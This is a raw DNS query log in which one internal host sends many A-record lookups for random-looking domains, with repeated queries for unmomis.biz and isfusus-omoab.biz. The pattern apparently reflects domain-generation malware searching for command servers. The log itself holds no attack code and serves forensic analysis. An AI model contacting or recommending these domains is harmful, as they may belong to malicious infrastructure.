Jan 5, 2025 10:50:25.238729000 CET	192.168.2.4	1.1.1.1	0x158d	Standard query (0)	oembqeydq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.336298943 CET	192.168.2.4	1.1.1.1	0xb420	Standard query (0)	uowug.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.372319937 CET	192.168.2.4	1.1.1.1	0xaadc	Standard query (0)	uowug.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.485728025 CET	192.168.2.4	1.1.1.1	0xdd96	Standard query (0)	yqmnjuoaw.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.519752979 CET	192.168.2.4	1.1.1.1	0x7056	Standard query (0)	yqmnjuoaw.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.868776083 CET	192.168.2.4	1.1.1.1	0x16ed	Standard query (0)	ycuqhkgkviqkq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:25.920469999 CET	192.168.2.4	1.1.1.1	0xb3f2	Standard query (0)	ycuqhkgkviqkq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.071086884 CET	192.168.2.4	1.1.1.1	0xde05	Standard query (0)	twksqismr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.107959032 CET	192.168.2.4	1.1.1.1	0xdb0	Standard query (0)	twksqismr.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.216835976 CET	192.168.2.4	1.1.1.1	0x1f84	Standard query (0)	mueir.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.248336077 CET	192.168.2.4	1.1.1.1	0xb6c0	Standard query (0)	mueir.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.352169037 CET	192.168.2.4	1.1.1.1	0xf195	Standard query (0)	kmfrdtsdsky.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.401140928 CET	192.168.2.4	1.1.1.1	0xcac1	Standard query (0)	kmfrdtsdsky.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.549983025 CET	192.168.2.4	1.1.1.1	0x84c	Standard query (0)	secysubos.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.708836079 CET	192.168.2.4	1.1.1.1	0x68fc	Standard query (0)	secysubos.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.913804054 CET	192.168.2.4	1.1.1.1	0xb575	Standard query (0)	ipwpkubamvqgh.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:26.947591066 CET	192.168.2.4	1.1.1.1	0x2e48	Standard query (0)	ipwpkubamvqgh.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.038930893 CET	192.168.2.4	1.1.1.1	0x8669	Standard query (0)	iafbgsajgk.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.069916010 CET	192.168.2.4	1.1.1.1	0x3909	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.105797052 CET	192.168.2.4	1.1.1.1	0xc0a9	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:27.211935043 CET	192.168.2.4	1.1.1.1	0xd4f9	Standard query (0)	zuucswx.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.105088949 CET	192.168.2.4	1.1.1.1	0xafd8	Standard query (0)	zuucswx.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.289424896 CET	192.168.2.4	1.1.1.1	0xabb3	Standard query (0)	dqkgwsywg.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.362710953 CET	192.168.2.4	1.1.1.1	0xf44f	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.377145052 CET	192.168.2.4	1.1.1.1	0xfc35	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.476517916 CET	192.168.2.4	1.1.1.1	0x5caa	Standard query (0)	wkwkymaiq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.603535891 CET	192.168.2.4	1.1.1.1	0x17c4	Standard query (0)	wkwkymaiq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.696826935 CET	192.168.2.4	1.1.1.1	0x325e	Standard query (0)	gagqvjmqsqcv.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.825558901 CET	192.168.2.4	1.1.1.1	0x69c2	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.846695900 CET	192.168.2.4	1.1.1.1	0x8534	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.945033073 CET	192.168.2.4	1.1.1.1	0x78e8	Standard query (0)	iobdeex.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:28.963711023 CET	192.168.2.4	1.1.1.1	0xcb54	Standard query (0)	iobdeex.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:29.054044962 CET	192.168.2.4	1.1.1.1	0xe737	Standard query (0)	cqsirosqhjosvg.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:29.180104971 CET	192.168.2.4	1.1.1.1	0x9	Standard query (0)	cqsirosqhjosvg.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.163718939 CET	192.168.2.4	1.1.1.1	0xc0aa	Standard query (0)	hcwsgokfm.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.254174948 CET	192.168.2.4	1.1.1.1	0xdbf9	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.285600901 CET	192.168.2.4	1.1.1.1	0x9f62	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.390260935 CET	192.168.2.4	1.1.1.1	0xdbc1	Standard query (0)	oeutebxns.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.434448957 CET	192.168.2.4	1.1.1.1	0xa7ee	Standard query (0)	oeutebxns.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.539094925 CET	192.168.2.4	1.1.1.1	0x3343	Standard query (0)	ssgcl.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.588929892 CET	192.168.2.4	1.1.1.1	0x7b5a	Standard query (0)	ssgcl.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.710686922 CET	192.168.2.4	1.1.1.1	0xa86	Standard query (0)	mugguqyebm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.738857031 CET	192.168.2.4	1.1.1.1	0xaaec	Standard query (0)	mugguqyebm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.836307049 CET	192.168.2.4	1.1.1.1	0x8fc3	Standard query (0)	wsczmii.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.864331961 CET	192.168.2.4	1.1.1.1	0x816f	Standard query (0)	wsczmii.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.960834026 CET	192.168.2.4	1.1.1.1	0x3cef	Standard query (0)	blryaicmkgbqv.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:30.988584995 CET	192.168.2.4	1.1.1.1	0x71b5	Standard query (0)	blryaicmkgbqv.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.133935928 CET	192.168.2.4	1.1.1.1	0x741a	Standard query (0)	yauggggfuadmk.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.259294987 CET	192.168.2.4	1.1.1.1	0x8109	Standard query (0)	yauggggfuadmk.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.460500002 CET	192.168.2.4	1.1.1.1	0x8e27	Standard query (0)	bqfzp.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.473808050 CET	192.168.2.4	1.1.1.1	0x90ea	Standard query (0)	bqfzp.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.570161104 CET	192.168.2.4	1.1.1.1	0x6a05	Standard query (0)	imyoeiuwedy.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.603318930 CET	192.168.2.4	1.1.1.1	0x594a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.635629892 CET	192.168.2.4	1.1.1.1	0x1693	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.726068974 CET	192.168.2.4	1.1.1.1	0xf186	Standard query (0)	qgqhvwukptzi.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:31.833734035 CET	192.168.2.4	1.1.1.1	0x1558	Standard query (0)	qgqhvwukptzi.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.008606911 CET	192.168.2.4	1.1.1.1	0x720	Standard query (0)	kissyuj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.094696045 CET	192.168.2.4	1.1.1.1	0x35a3	Standard query (0)	kissyuj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.399629116 CET	192.168.2.4	1.1.1.1	0x6e98	Standard query (0)	kqmiwxg.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.427213907 CET	192.168.2.4	1.1.1.1	0x3354	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.467909098 CET	192.168.2.4	1.1.1.1	0xce67	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.565762997 CET	192.168.2.4	1.1.1.1	0x8a66	Standard query (0)	mtgos.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.798341036 CET	192.168.2.4	1.1.1.1	0x50db	Standard query (0)	mtgos.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.898355007 CET	192.168.2.4	1.1.1.1	0x922b	Standard query (0)	jjmhqlazjlqyg.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.917073965 CET	192.168.2.4	1.1.1.1	0x1027	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:32.926721096 CET	192.168.2.4	1.1.1.1	0x65a3	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.024987936 CET	192.168.2.4	1.1.1.1	0x167f	Standard query (0)	oiokgcfeevo.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.076849937 CET	192.168.2.4	1.1.1.1	0x2857	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.092149973 CET	192.168.2.4	1.1.1.1	0x4b87	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.179629087 CET	192.168.2.4	1.1.1.1	0xff9	Standard query (0)	knykdukye.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.213589907 CET	192.168.2.4	1.1.1.1	0x8712	Standard query (0)	knykdukye.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.304366112 CET	192.168.2.4	1.1.1.1	0x70d	Standard query (0)	jiqysnxmk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.360796928 CET	192.168.2.4	1.1.1.1	0xffcc	Standard query (0)	jiqysnxmk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.479085922 CET	192.168.2.4	1.1.1.1	0x3742	Standard query (0)	cksojsfugtf.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.546113968 CET	192.168.2.4	1.1.1.1	0x9b8	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.557178974 CET	192.168.2.4	1.1.1.1	0x3636	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.647667885 CET	192.168.2.4	1.1.1.1	0x6796	Standard query (0)	wxgprhgqiei.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.668139935 CET	192.168.2.4	1.1.1.1	0x52e5	Standard query (0)	wxgprhgqiei.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.772866964 CET	192.168.2.4	1.1.1.1	0xd034	Standard query (0)	vgyzveetagkaw.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:33.807282925 CET	192.168.2.4	1.1.1.1	0xb0b8	Standard query (0)	vgyzveetagkaw.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.165694952 CET	192.168.2.4	1.1.1.1	0xd648	Standard query (0)	sztodskynsh.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.271445036 CET	192.168.2.4	1.1.1.1	0xe0c2	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.296447039 CET	192.168.2.4	1.1.1.1	0xb7cb	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.382060051 CET	192.168.2.4	1.1.1.1	0xd31d	Standard query (0)	oqcckacuwbt.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.395463943 CET	192.168.2.4	1.1.1.1	0x690c	Standard query (0)	oqcckacuwbt.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.491641045 CET	192.168.2.4	1.1.1.1	0x7767	Standard query (0)	docscsgcgis.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.546242952 CET	192.168.2.4	1.1.1.1	0x927c	Standard query (0)	docscsgcgis.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.632558107 CET	192.168.2.4	1.1.1.1	0x5c07	Standard query (0)	mwwocic.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.693476915 CET	192.168.2.4	1.1.1.1	0xe9d9	Standard query (0)	mwwocic.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.789767981 CET	192.168.2.4	1.1.1.1	0xd32d	Standard query (0)	rxcomqytho.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:34.849607944 CET	192.168.2.4	1.1.1.1	0xcdd8	Standard query (0)	rxcomqytho.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.054251909 CET	192.168.2.4	1.1.1.1	0x8913	Standard query (0)	kybvislj.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.137270927 CET	192.168.2.4	1.1.1.1	0x9642	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.159322977 CET	192.168.2.4	1.1.1.1	0x6ce	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.241617918 CET	192.168.2.4	1.1.1.1	0x6e8c	Standard query (0)	oqglsou.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.328778028 CET	192.168.2.4	1.1.1.1	0xa84	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.341351986 CET	192.168.2.4	1.1.1.1	0x23f3	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.441143036 CET	192.168.2.4	1.1.1.1	0x6d4b	Standard query (0)	knsnouoag.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.646323919 CET	192.168.2.4	1.1.1.1	0xdcc	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.656971931 CET	192.168.2.4	1.1.1.1	0x785	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.742436886 CET	192.168.2.4	1.1.1.1	0xbe28	Standard query (0)	mccieus.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.762700081 CET	192.168.2.4	1.1.1.1	0x70f4	Standard query (0)	mccieus.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:35.866825104 CET	192.168.2.4	1.1.1.1	0x5fba	Standard query (0)	ubkzsefeqpsf.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.180038929 CET	192.168.2.4	1.1.1.1	0x78fc	Standard query (0)	ubkzsefeqpsf.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.288393974 CET	192.168.2.4	1.1.1.1	0xa1c3	Standard query (0)	wkmysnme.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.316750050 CET	192.168.2.4	1.1.1.1	0xbaa3	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.336000919 CET	192.168.2.4	1.1.1.1	0xa007	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.414071083 CET	192.168.2.4	1.1.1.1	0x5533	Standard query (0)	ibiejygsl.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.688843012 CET	192.168.2.4	1.1.1.1	0x297f	Standard query (0)	ibiejygsl.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.820112944 CET	192.168.2.4	1.1.1.1	0x2a47	Standard query (0)	njawkarc.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.859014988 CET	192.168.2.4	1.1.1.1	0x9bbc	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.888889074 CET	192.168.2.4	1.1.1.1	0x95c7	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:36.977531910 CET	192.168.2.4	1.1.1.1	0xf467	Standard query (0)	ebcnudttm.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.001199961 CET	192.168.2.4	1.1.1.1	0xffc9	Standard query (0)	ebcnudttm.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.086585045 CET	192.168.2.4	1.1.1.1	0x2d55	Standard query (0)	mtgwmleoqqbmw.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.140360117 CET	192.168.2.4	1.1.1.1	0x5936	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.148380995 CET	192.168.2.4	1.1.1.1	0xaeef	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.241641045 CET	192.168.2.4	1.1.1.1	0x9274	Standard query (0)	umgscarsq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:37.440731049 CET	192.168.2.4	1.1.1.1	0x6095	Standard query (0)	umgscarsq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.288538933 CET	192.168.2.4	1.1.1.1	0x52e	Standard query (0)	klmvmygtsn.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.327306032 CET	192.168.2.4	1.1.1.1	0x4503	Standard query (0)	klmvmygtsn.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.413484097 CET	192.168.2.4	1.1.1.1	0x4a1f	Standard query (0)	yeshwlbymquav.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.433319092 CET	192.168.2.4	1.1.1.1	0x76d6	Standard query (0)	yeshwlbymquav.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.539593935 CET	192.168.2.4	1.1.1.1	0x9ea1	Standard query (0)	oqgqwc.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.718354940 CET	192.168.2.4	1.1.1.1	0xfac8	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.865469933 CET	192.168.2.4	1.1.1.1	0xf3a0	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:38.951561928 CET	192.168.2.4	1.1.1.1	0xdb7e	Standard query (0)	uvmwhweac.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.018255949 CET	192.168.2.4	1.1.1.1	0xddfa	Standard query (0)	uvmwhweac.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.383217096 CET	192.168.2.4	1.1.1.1	0xc5b6	Standard query (0)	zkizeua.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.419230938 CET	192.168.2.4	1.1.1.1	0xedb2	Standard query (0)	zkizeua.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.538407087 CET	192.168.2.4	1.1.1.1	0x7e63	Standard query (0)	zewrcmyi.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.577442884 CET	192.168.2.4	1.1.1.1	0x8a31	Standard query (0)	zewrcmyi.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.679511070 CET	192.168.2.4	1.1.1.1	0xce9d	Standard query (0)	myuklgdq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.709156990 CET	192.168.2.4	1.1.1.1	0x612e	Standard query (0)	myuklgdq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.819617033 CET	192.168.2.4	1.1.1.1	0x7b45	Standard query (0)	auczi.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.840030909 CET	192.168.2.4	1.1.1.1	0xdea2	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.849998951 CET	192.168.2.4	1.1.1.1	0x63ba	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:39.929353952 CET	192.168.2.4	1.1.1.1	0x1dde	Standard query (0)	oxuamhgwomyql.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.211930990 CET	192.168.2.4	1.1.1.1	0xfdb5	Standard query (0)	oxuamhgwomyql.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.382289886 CET	192.168.2.4	1.1.1.1	0x3c59	Standard query (0)	mqwosccs.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.441147089 CET	192.168.2.4	1.1.1.1	0x7cc7	Standard query (0)	mqwosccs.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.680057049 CET	192.168.2.4	1.1.1.1	0x7201	Standard query (0)	ykcpkaie.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.743196011 CET	192.168.2.4	1.1.1.1	0xcf39	Standard query (0)	ykcpkaie.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.913778067 CET	192.168.2.4	1.1.1.1	0x2421	Standard query (0)	qyrykvs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:40.951006889 CET	192.168.2.4	1.1.1.1	0x7037	Standard query (0)	qyrykvs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.039361954 CET	192.168.2.4	1.1.1.1	0x6e46	Standard query (0)	eimway.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.074137926 CET	192.168.2.4	1.1.1.1	0xbf38	Standard query (0)	eimway.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.164489985 CET	192.168.2.4	1.1.1.1	0x2205	Standard query (0)	oeggke.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.278717995 CET	192.168.2.4	1.1.1.1	0xd136	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.289508104 CET	192.168.2.4	1.1.1.1	0xbfaa	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.383877993 CET	192.168.2.4	1.1.1.1	0xbc01	Standard query (0)	etgpwavdy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.397141933 CET	192.168.2.4	1.1.1.1	0x8989	Standard query (0)	etgpwavdy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.492925882 CET	192.168.2.4	1.1.1.1	0xf103	Standard query (0)	jaywcllelfscm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.529743910 CET	192.168.2.4	1.1.1.1	0xbab8	Standard query (0)	jaywcllelfscm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.617260933 CET	192.168.2.4	1.1.1.1	0x96f7	Standard query (0)	zkiepwwhwgamdq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:41.632742882 CET	192.168.2.4	1.1.1.1	0xae00	Standard query (0)	zkiepwwhwgamdq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.106770992 CET	192.168.2.4	1.1.1.1	0x71ad	Standard query (0)	lbipfgl.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.120724916 CET	192.168.2.4	1.1.1.1	0x9a02	Standard query (0)	lbipfgl.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.241847992 CET	192.168.2.4	1.1.1.1	0xf12d	Standard query (0)	kmuaeocmcwq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.269155025 CET	192.168.2.4	1.1.1.1	0xd016	Standard query (0)	kmuaeocmcwq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.460386038 CET	192.168.2.4	1.1.1.1	0x9b90	Standard query (0)	agiaofa.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.488706112 CET	192.168.2.4	1.1.1.1	0xb1c2	Standard query (0)	agiaofa.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.585182905 CET	192.168.2.4	1.1.1.1	0xdd11	Standard query (0)	gjsoixeomlg.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.621036053 CET	192.168.2.4	1.1.1.1	0xd5e7	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.634161949 CET	192.168.2.4	1.1.1.1	0xd04e	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.736260891 CET	192.168.2.4	1.1.1.1	0x9e7	Standard query (0)	oixkoeuv.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.767625093 CET	192.168.2.4	1.1.1.1	0x10a2	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.779496908 CET	192.168.2.4	1.1.1.1	0x5cc4	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.866533995 CET	192.168.2.4	1.1.1.1	0x5d22	Standard query (0)	kujooeda.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.881222010 CET	192.168.2.4	1.1.1.1	0xdb5	Standard query (0)	kujooeda.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.960094929 CET	192.168.2.4	1.1.1.1	0xdaef	Standard query (0)	uycxakowsy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:42.976303101 CET	192.168.2.4	1.1.1.1	0x4372	Standard query (0)	uycxakowsy.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.054160118 CET	192.168.2.4	1.1.1.1	0x238	Standard query (0)	wiqeq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.069639921 CET	192.168.2.4	1.1.1.1	0x10b	Standard query (0)	wiqeq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.147939920 CET	192.168.2.4	1.1.1.1	0x8edf	Standard query (0)	wrwua.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.183403015 CET	192.168.2.4	1.1.1.1	0xef9f	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.195569038 CET	192.168.2.4	1.1.1.1	0x7b07	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.274010897 CET	192.168.2.4	1.1.1.1	0x5b9e	Standard query (0)	gwsxemqguma.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.548934937 CET	192.168.2.4	1.1.1.1	0x52aa	Standard query (0)	gwsxemqguma.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.672157049 CET	192.168.2.4	1.1.1.1	0x891d	Standard query (0)	vryqggeolakqz.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.703172922 CET	192.168.2.4	1.1.1.1	0x4bb9	Standard query (0)	vryqggeolakqz.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:43.788733006 CET	192.168.2.4	1.1.1.1	0x8798	Standard query (0)	wgszkgimsdjvs.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:44.074866056 CET	192.168.2.4	1.1.1.1	0x2447	Standard query (0)	wgszkgimsdjvs.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:44.726819992 CET	192.168.2.4	1.1.1.1	0xa505	Standard query (0)	siabzsmu.st	A (IP address)	IN (0x0001)	false
